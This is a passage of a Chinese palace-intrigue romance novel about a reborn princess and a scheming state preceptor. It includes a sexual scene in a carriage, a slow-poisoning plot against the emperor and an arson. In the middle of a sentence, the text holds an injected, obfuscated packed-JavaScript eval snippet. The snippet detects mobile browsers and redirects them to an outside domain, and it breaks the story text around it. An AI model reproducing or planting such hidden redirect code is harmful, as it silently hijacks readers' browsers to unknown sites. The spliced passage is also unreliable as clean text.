容钰发热请太医的事自然瞒不过宫里那几位,皇帝又让人送了补品过来,容钰随意挥挥手,让人把装着山参灵芝的木箱放进库房里,没打开看一眼。 喝了这么多年药,她也知道自己的身体虚不受补,吃多了补品反而会损害脾脏,加重病症,她不知道父皇心里清不清楚,但这些补品对于她来说聊胜于无。 经历了宫宴上的行刺,父皇多半也无心拆看她送的祝寿礼了,容钰喝完那碗药,露出苦涩的笑,拿了一颗蜜饯含在嘴里,心想罢了,自己的心意到了就行,在府里安然养病就是。 原本平静的京城如同一汪深水,现在陡然被人投入了石块,溅起惊波的同时也惊扰了不少隐藏在暗中的人,每个人都想试一试这水究竟有多深,但都不愿当出头鸟,只是互相警惕地观望着。 容钰对外面的诡谲浑然不觉,眨眼几天过去,她不再发热,手脚都有了力气,也看完了之前看了一半的话本。 那男狐狸精和千金小姐先是私定了终生,考取功名后就立刻上门提亲,本该皆大欢喜,话本就此完结,可惜在新婚那夜,男狐狸精一晌贪欢,不小心露出了原型,把千金小姐吓晕过去。 第二日千金小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15147034|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来后,男狐狸精还想糊弄,但千金小姐极其聪慧,一口咬定书生不是人,而是精怪。 男狐狸精不得不再次现了原型,又说了当年千金小姐的救命之恩,自己是来报恩的。可千金小姐害怕厌恶妖怪,不愿意和他在一起,但又舍不得狐狸精变成人后的样貌品性,且他们若是刚成婚就和离,这叫什么样子! 容钰也看的纠结不已,心里着急,好在千金小姐最后还是被男狐狸精的真心打动,接受了他,终成眷属。 看完之后,容钰觉得新奇又意犹未尽,正想让春桃再出去买几本,就看到春桃掀了帘子进来行礼,将打听到的消息带了回来:“殿下,刑部的人查出来了,是漠北那边派来的刺客。” “漠北!”容钰吃了一惊,“他们怎么这时……” 后面的话容钰强忍着没有叫出来,但她心里却打起了鼓,心脏砰砰直跳,耳朵都起了嗡鸣。 漠北怎么会这个时候就开始动手,她记得清清楚楚,上一世漠北不再向大夏称臣,挑起边境事端,可是在两年后! 那时父皇才让两国和谈,才推她去漠北和亲,舅舅才死在边关战事里,这一世漠北居然这时就不安分了,那是不是和亲的事情,也会提前?! 容钰差点坐不稳,她摇晃着起身,急的在原地转了两圈,手里的帕子都搅成了一团,心乱如麻,最后一跺脚,咬牙对着春桃说:“去拿上好的春风纸来,我要给国师写帖子。” 不能再耽搁下去了,她必须得用些手段,让许怀鹤对自己上心! 许怀鹤收到来自昭华公主的请帖时,正炼制一炉新的丹药。 皇帝被刺客惊扰,近来难以入睡,头痛欲裂,太医院开的药见效慢,皇帝不满,就请他炼制一些安神助眠的丹药,他自然应下,往里添了首乌藤,柏子仁和辰砂等药材,还特意加了孔雀石青。 这种丹药服用后,刚开始会面色红润,安然入眠,到后面毒素慢慢积累,就会指尖发麻,多梦盗汗,到了最后,再配合老皇帝之前服用的那些丹药,心悸昏厥是常有的事,指不定哪次就能中风瘫痪,口不能言,这不比直接刺杀好多了? 小道童拿着帖子进来,许怀鹤盖上丹炉,用帕子净了手,接过烫金的拜帖,展开光滑的春风纸,一字字看过去。 昭华公主的字是簪花小楷,工整干净,笔尖收尾处圆润不含锋芒,每个字都写的很认真,见字如人,便就知道她是怎样的天真纯洁。 当面感谢救命之恩?许怀鹤的神色微动,又看了看信中邀约他相聚的地方,是靠近河岸酒楼上的雅间,也是许多附庸风雅的才子都爱去的地方,方便赏月饮酒,隔岸看花。 上次宫宴,他道不方便有牵扯,是为了保护公主殿下,昭华公主神色失望,负气离开,他还以为公主殿下会厌弃了他,冷他好一段时间,没想到…… 许怀鹤的指尖拂过纸面,最后按在帖末独属于昭华公主的小印上,他沉思良久,最后仔细收好帖子,放入木匣里,提笔回了请帖。 他本想推脱,现在还不能把昭华公主牵扯进来,但思及那群蠢人这段时日都在互相攻讦,忙着擦干净刺杀的证据,没空来监视他,又改了想法。 “管好你的嘴。”许怀鹤将写好的帖子交给小道童,声音平静,却让小道童起了一身冷汗,“上一个道童是怎么没的,你应该清楚。” 小道童直接跪下,砰砰磕了响头,声音战战兢兢:“奴才明白,奴才既然跟了国师大人,就只衷心国师大人,必然不会多嘴,做多余的事!” 许怀鹤静静看着他离开,转身进了屋内,打开放在桌案上的长木盒,里面是一把青色的长剑,剑柄深青素淡,却独独镶嵌了一颗白色的花型珍珠,如同杀手簪花,显得不伦不类。 许怀鹤摩挲着剑柄,眼里闪过寒芒,惊飞了停在窗外枯枝上的寒鸦,又慢慢散开,恢复平静无波。 不会等太久了。 40-50 第41章 第41章殿下轻声些,莫要让外面…… 容钰的心跳骤停了一拍,继而重重地跳起来,一声比一声急促。 明明许怀鹤只是扣住她的腰,她却觉得脖子上像缠绕着一条冷冰冰的细绳,勒得她有些喘不过气,莫名有些害怕。 如果不是知道春桃和青竹一直守在门口,许怀鹤不会知道闻锐达对她表明了心意,容钰几乎就要以为许怀鹤听到了什么。 她先是心虚了一瞬,随即又觉得没道理,她的确是只喜欢许怀贺一个人呀,闻锐达心里有她,爱慕她,但她也拒绝了闻锐达,断了闻锐达的念想,不是么? “嗯,”容钰拉住许怀鹤的衣袖,乖顺地软声道,“我也只爱你一人。” 许怀鹤眼中的浓墨稍微散去了一些,他被容钰并不走心的话语取悦到了,随手挑起一缕垂在容钰脸侧的墨发,在手指间把玩,一边在心里算计着要怎么弄死闻锐达,一边做出可怜巴巴的模样:“殿下不补偿我么?” 容钰本想回一句“不是说了明日陪你吗”,话到嘴边又顿了顿,觉得今日自己的确冷落了他,对上许怀鹤委屈的眼眸,心软了软:“好,你想要什么补偿?” “那自然是……”许怀鹤倏而凑近了她,温热的鼻息交融,一下一下啄吻着她柔软的嘴唇,咬着她的口脂,“这样补偿。” 容钰被亲的不住仰头,被迫承接着来自许怀鹤深深浅浅的吻,她连吞咽都来不及,更别提换气,明明许怀鹤亲的不如之前凶,她却比之前更加晕晕乎乎,目眩神迷,浑身都热了起来。 马车的车壁突然被人从外敲响了两声,容钰吓得一颤,贝齿磕上了许怀鹤的唇角,瞬间咬出一道红痕,她也顾不得看,慌乱地将脸埋进许怀鹤的肩膀里,小声喘着气,双手紧紧抓着许怀鹤的前襟。 春桃如同往常一样站在马车外,完全不知道马车内多了一个男人,低声提醒道:“殿下,咱们要启程了。” 容钰一张脸红如春日桃花,软趴趴地跌在许怀鹤身上,也没有力气起身,但又不得不应春桃一句,免得春桃以为她出了什么意外,掀开车帘进来,她现在的样子可不能给别人看,更别提马车里还藏着一个许怀鹤。 容钰憋了憋气,“嗯”了一声,声音娇嫩的几乎能够掐出水来,她自己都吓了一跳,连忙抬手掩住唇角,眼睛都瞪圆了。 好在隔着厚厚的车壁,外面的春桃听不真切,并未察觉什么异常,只觉得公主殿下的声音比往日低了些,也没放在心上,对着车夫喊了一声,马车缓缓向前驶去。 哪怕马车行驶的再平稳,也有轻微的颠簸,容钰趴在许怀鹤身上,因着这点颠簸而衣物摩擦,身体贴的更近,不可避免地再一次感受到了某处的势头,比上一次更高。 她僵了僵,气都还没喘匀就开始小声赶人,像极了亲完就不认的负心汉:“你快走。” 许怀鹤和她贴耳呢喃,眉眼间皆是克制隐忍,声音带着微微的沙哑:“殿下好生无情,才给了这点补偿就想让臣跳车,也不怕臣崴了脚,跳下去伤到了哪里?” 容钰自知理亏,她偏头嘟囔,发间的珠钗擦过许怀鹤的下巴,说话没什么气势,更像是在撒娇:“可你迟早得下去,你总不能和我一起回公主府,若是让其他人看见了,我的清誉往哪里放?你还没向父皇求娶我呢,和外男待在同一辆马车里,这叫什么话?” “再待一会儿。”许怀鹤笑了笑,眼尾微微上挑,原本就狭长的双眼让他看上去像极了话本子里的男狐狸精,摄人心魄,“这补偿,我还没向殿下讨要够。” 容钰看着许怀鹤的眼睛呆愣了一瞬,便被许怀鹤抓住了机会,将她抵在车壁,原本揽着她腰肢的手垂下,撩开了翡翠色的裙摆,如同碧绿的湖水突然投入一枚石子,绽开圈圈涟漪波浪。 许怀鹤的手指很直,且长,因为练武有略微粗糙的茧,容钰哆嗦了一下,险些惊叫出来,她又怒又羞,一时呆住,没料到许怀鹤的胆子竟然这样大,更没料到她印象中禁欲高洁的国师居然会做出这样的举动,如同话本子里的凡人一样跌入红尘之中,走下神坛。 她想伸手去推开许怀鹤,却被许怀鹤的指尖激得扬起脖颈,呜咽了一声,不得已连忙伸手去捂住自己的嘴,身体也彻底瘫软下来,被逼在角落里,后背顶着车壁动弹不得,只能任由许怀鹤作乱。 裙摆上的缠枝莲纹像沾了露珠,颤巍巍地晃动着,随着马车的颠簸滴落下来,发出细微的水声,在安静的空间里格外明显,听的人面红耳赤,容钰恨不得再多出一双手来,捂住自己的耳朵,再 蒙上眼睛。 “殿下轻声些,莫要让外面的人听到了。”许怀鹤嘴上这样说着,手底下的动作却没有丝毫停顿,尤其是他在做这档子事时,依旧文质彬彬,面色淡然,仿佛在做一件如同写字读书一样寻常的,文雅的事。 反差太大,刺激得容钰竟流出一滴泪来,她一手捂着唇,一手无力地抓着许怀鹤的衣袖,早就已经衣衫不整,头发也乱了,乌发可怜兮兮地垂在耳边,却遮不住满面潮红。 …… “殿下,咱们回公主府了。”春桃一边说着,一边掀开车帘,准备扶着容钰下来。 只是公主殿下今日实在有些奇怪,春桃忍不住多看了两眼,也许是方才在马车里小憩了一会儿,公主殿下的发髻被蹭乱了,有一只镶金的白玉簪子不知掉到了哪里,裙面也多了些褶皱,像被折叠搓揉过。 殿下的脸颊和眼眶也有些红,兴许是睡懵了,神色有些呆愣,像没缓过神,也许是闻大人在酒楼里的那番话吓到了殿下吧。 唉,闻大人也真是的,春桃有些苦恼地想,若是放在以前,闻大人这样的青年才俊也算是能进入驸马的人选里,被公主殿下多看几眼。 但现在已经有了国师大人在前,那闻大人就不够看了,更别提公主殿下还更喜欢国师大人,闻大人就绝没有机会了。 不过她家殿下美丽动人,又身份尊贵,被人喜欢也正常,只要闻大人接下来不像刘洋那歹人一样纠缠公主殿下,本本分分地继续做个好官,那也没什么。 春桃扶着容钰的手臂,察觉到公主殿下将更多的力靠在了她身上,似乎是有些腿软,走不动路,不免有些担心:“殿下是不是累了?” 青竹默不作声地陪在容钰的另一侧,她识药理,对气味格外敏感,自然也闻出了昭华公主殿下身上属于国师大人的沉檀香,不过微微一想,便明白刚才马车内定是发生了些什么。 至于究竟发生了些什么,青竹不敢深想,她低着头,听到公主殿下的声音略微有些沙哑,仔细听好像还有些咬牙切齿:“是。” 假的,容钰在心里恨恨地想着,什么禁欲君子,什么厚德流光高情远致,全都是假的,许怀鹤这人……这人! 他未免也太贪欢,自己明明已经去了一次,都哭了出来,眼泪顺着下巴尖滴在许怀鹤的手背上,许怀鹤却还不满足,又拉着她哄了一道,尤爱刺激她。 进了屋内坐上软塌,容钰依旧觉得双腿发软,腰肢也酸,她悄悄用拳头捶着后腰,愤愤地暗想许怀鹤怕不是故意的,故意这样折腾她,让她去不了晚上的庙会。 但她实在不忍心让小姑娘失落,不想失了和顾云溪的邀约,容钰咬了咬牙,又在内心将许怀鹤骂了句“登徒子”,忍着羞耻对青竹说:“青竹,来帮我揉揉腰。” 青竹学过药理,懂得一些推拿,她应声,连忙坐过来,将容钰的裙带解开,露出一截雪白的腰肢,装作没看见玉一般的肌肤上那几个明显的指印,专心地帮容钰缓解着酸软。 公主殿下的肌肤娇嫩,国师大人就算没用多少力,恐怕也有克制不住的时候,这才在公主殿下身上留了印子,她得用些化瘀的药膏,帮殿下消痕。 做了揉捏,涂了药膏,容钰觉得身子爽利了不少,她站起身,也没有方才那么累了,觉得今晚的庙会还能去看一看,少走些路就行。 春桃帮她重新梳了头发,将皱了的翡翠色马面裙换下来,穿了近来流行的黄罗裙,裙面绘制着山茶花纹,外面罩着紫貂翻领大氅,边缘镶了白狐毛,俏皮又不失大气端庄,是极其适合和其他贵女一同玩乐的一套装扮。 在涂桃花红的口脂时,容钰看着铜镜,又莫名想起了在马车上时,她似乎慌乱中咬了一口许怀鹤的唇角,也不知道有没有留下什么痕迹,会不会结疤?若是被其他人看到了,许怀鹤又要用什么借口掩饰过去,总不能实话实说吧? 她垂眸,有些气愤地想,她才不管那么多呢,明日赴了许怀鹤的约,许怀鹤要她做什么,她也不应了,谁叫许怀鹤那样欺负她! 梳妆完毕,容钰站起身,雪团又扑到她脚边,跃跃欲试地想要跳上来,让她抱着一同出去玩。 小丫鬟连忙将雪团抱起来,容钰伸出指尖,点了点雪团毛茸茸的脑袋,像哄幼童那样对它道:“今日已经带你出门玩了一次,不许再调皮了,今夜也不能带你出门,庙会人多,恐怕一不留神你就被谁挤走了,也害怕你乱跑,所以乖乖待在府里等我回来,知道么?” 雪团略有不满地“喵呜”叫了几声,似乎是在控诉容钰午后回到公主府,就将它丢在府里,自己出门不知道去哪玩了,这时才回来,又要出去,却还不带它。 容钰又挑了块雪团喜欢吃的核桃酥给它喂了,雪团这才不吵不闹,乖乖地窝在小丫鬟臂弯里,只拿着一双圆圆的眼睛看着容钰离开。 “昭华公主还是去了?” 观星楼内,许怀鹤放下在手里把玩的物件,淡声问跪在身侧的下属。 若是春桃此刻在,便能一眼认出,国师大人手边的物件,就是公主殿下在马车上遗失的白玉簪子。 “是。”下属赶紧回道,“昭华公主已经出了公主府,和镇国公府的嫡小姐顾云溪碰面了。” 她竟也撑得住。许怀鹤回想起在马车内的情形,没忍住微微笑了笑,他确实有几分刻意在,故意又多要了一回,为的就是让容钰腰酸腿软,只能在府中好好歇歇,去不了今晚的庙会。 下属犹豫了一下,接着问:“大人,既然昭华公主殿下在,那要不要取消计划?” 许怀鹤沉思了一会儿,无意识捻动着手指,柔软湿润的触感仿佛还在指尖,他微微顿了下:“不用,照常进行。” 闻锐达不正是刚升官,春风得意的时候吗?那他今夜自然也要好好给闻锐达送上一份升官贺礼,只是不知道对方收到后,是否还能笑的出来。 * 夜幕下的京城没有宵禁,此刻街边千盏花灯次第亮起,如同星河坠落人间,灯面的画作五花八门,兔儿灯和莲花灯串了一长串,映得护城河水光粼粼,浮光流金。 容钰站在人群中,身侧是挽着她手臂的顾云溪,旁边依次围着丫鬟和侍卫,小心地保护着她们,不远处还有其他相伴而行的贵女,引得不少公子们的眼神都不住往这边瞟,当然更多的人目光还是落在了容钰脸上,又被高大的侍卫挡了回去。 耳边传来震天的铜锣响声,容钰抬头,看到一条红色的金鳞龙从木桩上高高跃起,舞龙的人随着鼓点跳动舞步,龙身也跟着翻卷如浪,每跳得更高,周围的百姓都会捧场地鼓掌喝彩,处处都热闹非常,一片繁华景象。 看完了舞龙,容钰顺着顾云溪手指的地方看去,果然看到了皮影戏班正在忙碌地准备着,面前已经围了一些百姓,期待地等着今年的新戏。 容钰早早就让小丫鬟买好了观赏的位置,走到旁边的高亭坐了下来,其他贵女们也蹭了她的光,叽叽喳喳地向她道了谢,围坐在一起,边熏着暖炉,边不住地朝下看。 戏台终于搭好,随着一声喝唱,周围忽地安静了下来,容钰也不禁坐直了,全神贯注地盯着幕布。 只是演着演着,人群渐渐有了小声的骚动,百姓们开始窃窃私语,顾云溪越看面色越凝重,她偏头看了一眼依旧沉浸在戏中的昭华公主,低声道:“殿下,这演的是禁闻……” 第42章 第42章先朝太子竟然还留下了血…… 听到顾云溪的话,容钰轻微愣了愣。 如今是康盛九年的年开头,若时间往回倒退九年,回到皇帝改年号的那时, 容钰便能想起,这年恰好是她母后去世的一年。 改年号是大事,可这年既没有军事上的胜利,也没有五谷丰收,更没有什么天灾避祸,除了先皇后去世之外,就只有一件事值得记载。 民间有人在河中发现一只纯白的老鳖,后背如同一口铁锅那么大,众人都惊讶不已,商定之后将这头大鳌抬着送进了京城,呈到皇帝面前,声称这是天降祥瑞,天佑大夏。 而皇帝坚持改年号,就是为了这头送入京城后,没几日就死在御花园里的白鳖。 当时负责喂养白鳖的太监宫女们全都被砍了头,容钰那时年幼,只远远地看过白鳖一眼,差点被老鳖奇怪的样子吓哭,没过几天就听到了老鳖的死讯。 她又听说这头白鳖是被一位心术不正的太监毒杀的,太监以前在先朝罪太子身边伺候,对新帝怀恨在心,觉得只有罪太子才有资格当皇帝,做这九五之尊,但他又无法接近新帝,只能杀鳖泄愤,最后还是被查了出来,凌迟而死。 但容钰那时太小了,懵懵懂懂,对这一切也分辨不出真假,听过就差不多忘全了,只沉浸在失去母后的悲痛之中,病倒在了坤宁宫里。 再往前数七年,比容钰小一岁的永宁出生,皇贵妃当时只是嫔位,因为生下公主而晋升了妃位,在先皇后去世后,才升了贵妃。 容钰趴在紫檀木榻上,扯着木马玩,迷迷糊糊地听桂嬷嬷向母后低声絮语:“‘永宁’二字,作为一个公主的封号来说,是不是有些太大了?” 记忆中的母后面容有些看不清了,但依旧温暖柔和,声音也像羽毛一样轻柔:“是有些大,取了长治久安之意,更适合做年号,用于新君即位,但既然陛下喜欢,也没什么,我们又何必扫兴?” 桂嬷嬷还是有些愤愤:“陈嫔那个狐媚子,也不知她给陛下灌了什么迷魂药,又没生皇子,瞧她那得意的样子!但她生的公主再怎么受宠,也越不过咱们殿下去,昭华昭华,多好的名字,一听就知道是个美人。” 母后轻轻地笑了起来,伸出柔软的手,捧住她圆嘟嘟的脸颊:“是呀,咱们昭华可不是个美人胚子么,将来必定风华绝代,是大夏一等一的绝世美人。” 若时间再往前推,就到了容钰还未出世的时候,对这世界的一切都未曾接触,也无从知晓,而今夜皮影戏的内容,就将她从前只是模糊听闻,但不曾见过的先朝秘密明明白白地演了出来。 微微有些发黄的幕布上,一个身穿黑色蟒袍的皮影人走了出来,对着幕布另一侧坐在皇位上歪头闭眼,似乎是在睡觉的先朝皇帝,口中喊了一声“父皇”。 黑色蟒袍的皮影人演的,自然就是先朝太子了,他这一声并没有叫醒坐在皇位上的人,却叫出了另外两个身穿盔甲的侍卫。 两人对视一眼,随着先朝太子手一指,飞快扑了上去,一刀刺穿了先皇,有暗色的血淌下来,坐在皇位上的人也彻底倒在了地上,很明显已经身亡。 人群中发出低低的惊呼,容钰也微微掩住唇,但此刻众人都没有意识到,这部皮影戏接下来演的内容,将有多大胆。 先朝皇帝身亡,见目的达到,先朝太子正准备带着侍卫离开,幕布右侧突然又涌进来了一批看不清脸的皮影人,他们人数众多,各个手上都拿着刀。 为首的人穿着红色的官服,一边骂着先朝太子弑君弑父不配为人,一边让身后的人涌上去捉拿对方,但先太子硬是在两个身手不凡的侍卫掩护下,逃出了皇宫,幕布下的景象随即一转,从雕梁画栋变成了荒野树林。 打斗的画面十分精彩,哪怕只是皮影人也能看出战况激烈,先朝太子多次命悬一线,但都被侍卫还有他自己的武艺救了回来,众人看的目不转睛,人群里静悄悄的。 皮影人越打越少,两个侍卫都不见了,最后幕布上只剩下了先朝太子一个人,他身上也涌出了暗色的血,跌跌撞撞地往前跑,直愣愣栽进了树林中的一间茅草屋里。 不多时,幕部外侧又出现了一位穿着麻布罗裙的女子,她看到倒在自己屋中的黑色蟒袍男人,惊讶了一瞬,但又善良地将他扶起身,仔细为他处理了伤口。 幕布上的景色不断变换,原本绿色的树林变成了黄色,接着又变成了光秃秃的树枝,又变回了绿色,象征着时光飞速流逝,等罗裙女子和先朝太子再出现时,他们的怀中赫然多了一个孩子,脸上洋溢着幸福的笑意。 顾云溪出声提醒时,皮影戏已经演到了这一幕,容钰还没来得及做出回应,幕布上的皮影戏已经继续演了下去。 茅草屋外,有一个鬼鬼祟祟,面容粗糙的老妇静静看着这一幕,她眉眼奸猾,悄悄转身离开,没过多久,就带着一队拿着刀剑的军队找了过来,指着那对夫妻,大声喊道:“他就是先朝罪太子!” 原本人们只是心照不宣,在内心猜测着皮影戏究竟是不是在含沙射影,而这老妇的一句喊声,就几乎是明晃晃地戳破了这层窗户纸,将答案摆在了众人面前。 一石激起千层浪,人群先是静了一瞬,继而爆出了碎语,嘈杂声中,有人面露惊慌,已经不想再看,免得惹祸上身,而有人则意犹未尽地盯着幕布,想要知道接下来发生了什么。 和传闻中差不多,军队一拥而上,很快便抓住那名软弱无力的女子。妻子被抓,先朝太子面露痛苦,也逐渐招架不住,被军队拿下,压倒在地上,送去了军帐,而后在众目睽睽之下,被为首的人一条条斥责着罪状,最后被双双砍头,以死抵罪。 而那个孩子,却不知所踪。 容钰呆呆地看着幕布,脑袋有些嗡嗡作响,她知道那个老妇就是因为告发有功,封了县主的王老夫人,那支军队就是舅舅的军队,军旗上面的“顾”字刺得她眼睛生疼,也知道斥责先朝太子的人就是自己的父皇,也就是日后登基的新帝。 看着罪人被捕捉,尸骨无存,本来应该是大快人心的下场,可容钰不知怎么的心却突然跳的厉害,不安和恐慌充斥着心头,她往后缩了缩,心中的念头和大多数人的想法都一样—— 先朝太子竟然还留下了血脉吗?! 那个孩子是真的存在的吗?如果是,那他可就是先朝皇帝唯一留下的嫡亲血脉,如果他活到现在,想必也已经年过十七了,是板上钉钉的正统皇孙,哪怕是现在的皇帝,都抵不过他! 可这些秘闻,一个小小的皮影戏班子是怎么知道的?他们是不是别有用心,故意混淆视听,凭空捏造出这么一个人,放出这些话来,难道是意图谋反吗? 人群中,已经有同样来看戏的官员反应了过来,不过转念一想,就明白这是建功立业,在皇上面前露脸的好机会,当下站了出来。 他们正要让侍卫把这些胆敢演前朝禁闻,胡编乱造,扰乱人心的皮影戏班子抓起来,就听到耳边忽地一声巨响。 隔着长街,一处建筑猛地蹿起冲天的火光,比刚才舞龙的狮子还要红,木头燃烧,噼里啪啦作响,伴随着轰隆的爆炸声,如同春夜的惊雷。 有人在惊叫着走水了,不断有人从火中逃出,容钰盯着那处起火的地方,顾云溪也看过去,心里一惊:“那是刑部!” 容钰下意识地便想到了闻锐达,她攥紧了手,心里顿时更乱了。自己的重生带来的影响真的有这么大吗?闻锐达不该在这时候出事的,他明明才升了刑部侍郎…… 不会的,不会的,容钰默默摇头,今日是正月初一官员休沐的时候,虽然今日早晨刘府才抄了家,但闻锐达这时应该也在休息玩乐,不会再去刑部处理事务,一定能避开大火。 好在街上人多,不少路过的人也帮了把手,提着水桶过来浇火,眼看着火势一点一点被控制,火苗逐渐小了下去,众人这才回神,再回头看去,哪里还有戏班子的身影,只留下了孤零零的幕布和散落一地的皮影人,仿佛刚才看到的皮影戏只是一场幻梦。 乱了,都乱了。 闻锐达看着眼前被烧毁的横梁,还有一地残骸,闭了闭眼睛,面沉如水。 他今日早上才将刘府剩下的人提进刑部,按照陛下的旨意,继续撬开刘家人的嘴,特别是前户 部侍郎刘大人的嘴,想知道他还有没有同党,还有没有其他贪污的银钱。 而这一场大火,不光烧毁了所有的证词,还将提供证词的证人也一并烧死了。 这种错误绝对不是一句“失察”就能轻轻揭过的,“许怀鹤”三个字又一次浮现在他脑海中,闻锐达直觉这事和许怀鹤脱不了干系,多半是许怀鹤派人纵火,他深深吐了一口气,有些无力,但更多的是愤怒。 闻锐达转身,让下属尽快灭火收拾残局,不要放过现场的任何线索,一定要找出纵火的人,这才又骑了马,匆匆赶去皇宫,第一时间向陛下请罪。 热闹的街道上,许怀鹤站在酒楼窗前,轻飘飘地看了一眼闻锐达离开的背影,嗤笑了一声。 想必今夜,会有许多人彻夜难安。 第43章 第43章殿下想去试试吗? 远处的火势逐渐熄灭,这边的人群也很快散开,快步离开了河岸,只当自己什么也没看见,恨不得用袖子蒙住脑袋和眼睛。 哪怕再没脑子的人也明白,今夜恐怕是有人做局,就算不是谋逆也是大不敬,胆敢挑衅皇权,刚开年就闹出这么大的事,今岁注定不太平,指不定又要乱起来。 顾云溪脸色发白,周围的贵女们也都默不作声,不由自主地全都看向了容钰,不管她们平日对容钰是什么想法,到了这种时候,地位最尊贵的昭华公主殿下依旧是她们的主心骨。 容钰心里乱极了,她抿了下唇,桃花色的口脂在唇角晕开:“大家也都回去吧,今夜的事莫要在外乱说。” 但她很清楚,这些贵女们多半会向自己的父兄告知,寻求帮助,所以自己的话也聊胜于无,今夜过去,刚才发生的事就会传遍整座京都,成为大家不敢摆在明面上却人尽皆知的秘密。 听到昭华公主殿下的话,贵女们神色各异,但都应了是,带着自己的侍女侍卫们依次从高亭上离开。 容钰走在最前面,她有些脱力地靠在青竹的肩膀上,被春桃和青竹扶着往前,上了马车,心里却依旧想着刚才的大火,还有皮影戏中那个不知所踪的孩子,一直到了公主府,躺回拔步床上都没有平静下来。 今日可以说是折腾了一整天,容钰以为自己会胡思乱想而睡不着觉,谁知道一沾枕头就睡熟了,一直到第二日午时才起身。 她刚就着小丫鬟的手用清茶漱了口,就看到春桃从外面急匆匆地赶进来,将自己打听到的消息一股脑儿全说了:“殿下,可不得了了,昨夜起火的地方是刑部的牢狱,刘洋一家全都被烧没了!” 昨夜睡得太熟,容钰的脸压着枕边印出一道红痕,这会儿还残余在白净的面颊上,她愣愣地用玉石贴着脸上的印子消痕,好半晌才问:“闻锐达呢,他有没有事?” “没有,闻大人安然无恙。”春桃顿了顿继续道,“只是人证全没了,又在闻大人眼皮底下发生的,闻大人虽然才上任刑部侍郎不久,但也难辞其咎,昨夜就进宫向陛下请罪去了,陛下罚了他三个月的奉禄,让他继续处理案子。” 这种处罚不痛不痒,看来父皇也没生气,只是做做样子,罚了闻锐达一下,闻锐达也没出事,还活的好好的,容钰放心下来,她靠在软榻边,小声打了个哈欠。 春桃没说,容钰也没提昨夜和皮影戏有关的事,这些问题不好大张旗鼓地宣扬,想必外头都在控制流言,也不允许谈论,更不许多问。 趴在她腰边的雪团似乎也被感染了,张大嘴巴打了个哈欠,两只耳朵向后别去,眼睛眯起来,还舔了一下嘴巴,可爱极了,逗得容钰伸出手揉了揉它的脑袋,它也顺势将下巴搁在容钰的手心中,撒娇一样喵呜了几声。 “今日带你出去玩好不好?”容钰看着它微微晃动的尾巴尖,开着玩笑,“你这么通人性,我早就怀疑你是不是什么精怪了,正好带你去见国师,让国师看看你的修为。” 雪团疑惑地喵呜叫了一声,春桃和青竹都笑了起来,春桃扶着容钰起身,换好四合如意云纹缎衣,内衬银鼠皮里,袖口露出雪貂毛,来到铜镜前梳妆打扮。 知道公主殿下和国师大人今日有约,也知道国师大人早就在各处布下了眼线,根本不需要她做传话人多跑一趟,但做戏做全套,青竹还是一大早就前往了观星楼,将国师大人的话带了回来。 等容钰吃完午膳,补了口脂,青竹才道:“殿下,国师大人说他午后在白云观等您,马车已经准备好了,殿下是否要这会儿就去?” “好。”容钰点了点头,将雪团抱在怀里,慢吞吞地往外走,坐上了马车。 车窗外有簌簌的小雪,随着风飘落在车帘上,有几粒飘到她的指尖,瞬间就融化成了冰水,街道渐稀,逐渐露出山林野树,光秃秃的枝丫上积攒着一层雪,偶尔有寒鸦飞过,发出难听的嘶哑叫声。 车轮在雪地上留下一道不深不浅的痕迹,容钰看着近在眼前的白云观前山,忽然想起往年这时,自己多半又因为感了风寒病倒在府里,哪也不能去,只能缩在拔步床上,裹着厚厚的锦被,手里揣着两三个汤婆子,一边喝着苦口的汤药,一边眼巴巴地盼望着自己早点好起来,熬过寒冬,等到开春,天气暖和一点才敢出门。 而如今,自己身体的亏空似乎被一点一点补了上来,而帮她的人自然就是许怀鹤,送来的丹药她已经吃完了,不光能根治她的风寒,还能补气养神。 又或许怀鹤说的渡阳气真的有用,她现在能痛痛快快地出门游玩,不怕一阵寒风就能将自己吹倒,发起高热,是不是也多亏了许怀鹤总吻她? 意识到自己在想什么,容钰的耳朵染上一层淡红,她欲盖弥彰地放下马车车帘,静静地等待马车停好,春桃掀开帘子扶她下来。 鞋底刚刚踏上雪面,容钰抬头,一眼就看到了站在不远处迎接她的许怀鹤。 许怀鹤今日也穿着一身白衣,几乎和雪融为一体,但墨发如瀑,由青色的发带收拢,温润如玉,神色温和地看过来。 比起第一次相见时,许怀鹤的身上已经褪去了几分寒冰霜雪一样的冷淡,容钰的脚步不由得加快,带着几分雀跃,抱着雪团走到许怀鹤面前,仰起头看着他:“我来了。” “嗯。”许怀鹤的唇角勾起淡淡的弧度,他抬起手,本来想摸一摸容钰的脸颊,但旁边还有人看着,他转而伸手盖住雪团的脑袋,“白猫通灵性,殿下养了只好猫。” 听到许怀鹤夸雪团,容钰更高兴了,她摸了摸雪团柔软的爪垫,炫耀似的:“是呀,雪团可乖了。” 可她却没注意到,往日活泼调皮的雪团见到许怀鹤后,仿佛看到了天敌一般,瑟瑟发抖,不声不响地往她怀里钻,当许怀鹤盖住它的脑袋时,更是僵成一团。 许怀鹤不动声色地收回指尖,他向来都不讨动物喜欢,特别是这样的小动物,根本不敢近他的身,光是看到他就害怕的直打哆嗦,四散逃命,他也早就习惯了。 白云观的前山比后山平缓许多,台阶宽阔,可供三四个人同时并肩往上走,路途也并不远,几十个台阶就能走上去,无需软轿。 许多香客们为了诚心,上香都是一步一步走上去的,容钰以前也来过白云观,知道这么个说法,她将怀里的雪团交给了青竹,正跃跃欲试地准备自己走上去,不让春桃搀扶,就被许怀鹤圈住了手腕,拉着她从旁边的小路上去了。 旁边的小路虽然不宽,但十分平缓,且没有台阶,慢慢走着,不用耗费太多体力就能进入白云观之中,只是这条路极其偏僻,又有小门锁着,一般人根本不知道,也进不来。 容钰走在许怀鹤身后,看着许怀鹤充满安全感的后背,听到许怀鹤的声音从前面传来:“前殿上香的人多,恐怕冲撞了殿下,走这条路能直达三清殿,殿下若是想上香,贡品也已经准备好了,殿下若是不去,咱们就直接去后院。” 